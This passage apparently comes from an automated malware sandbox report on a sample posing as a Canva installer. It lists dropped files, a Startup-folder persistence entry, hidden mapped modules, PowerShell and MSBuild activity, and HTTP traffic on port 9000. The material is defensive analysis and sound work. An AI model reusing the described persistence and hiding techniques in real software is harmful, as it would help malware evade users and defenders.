Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2EC5D push eax; iretd	12_2_02D2EC5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC3B98 push es; ret	12_2_06EC3BA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07036E38 pushfd ; iretd	12_2_07036EF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07038547 push esp; ret	12_2_07038551
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07079F46 push ds; retf	12_2_07079F48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0707A40A push 00000019h; retf	12_2_0707A40C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0734D3D1 push dword ptr [ecx+ecx-75h]; iretd	12_2_0734D3E3
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000001C2DEFE680 pushad ; retf	14_2_0000001C2DEFE681
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000001C2DEFD6BB push ecx; retf	14_2_0000001C2DEFD799
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000001C2DEFD63A push ecx; retf	14_2_0000001C2DEFD669
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000018D136FDF33 push ebp; ret	14_2_0000018D136FDF6A
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000018D136FDF6F push esp; ret	14_2_0000018D136FDF72
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000018D136FB8C7 push ebx; iretd	14_2_0000018D136FB8CC
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000018D136F5888 pushad ; iretd	14_2_0000018D136F5889
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000018D136F5880 push eax; iretd	14_2_0000018D136F5881

Source: jotnemib.9.dr	Static PE information: section name: .text entropy: 6.816467095523557
Source: kdtvqgf.15.dr	Static PE information: section name: .text entropy: 6.816467095523557

Persistence and Installation Behavior

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-NTUV2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-30SPE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-8GQDF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\vulkan-1.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\jotnemib	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Roaming\sto\BITA54F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	File created: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\libEGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-KS3DD.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-9V9DF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-NHDMN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\resources\elevate.exe (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\kdtvqgf	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\Canva.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Roaming\sto\coml.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\ffmpeg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\libGLESv2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-9L22V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-FAJC4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-MJD08.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\resources\is-EK79G.tmp	Jump to dropped file

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\jotnemib			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\kdtvqgf			Jump to dropped file

Boot Survival

Creates a start menu entry (Start Menu\Programs\Startup)

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT2493.tmp

Jump to behavior

Stores files to the Windows start menu directory

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Canva	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Canva\Canva.lnk	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT2493.tmp	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\JOTNEMIB
Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\KDTVQGF

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49819

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
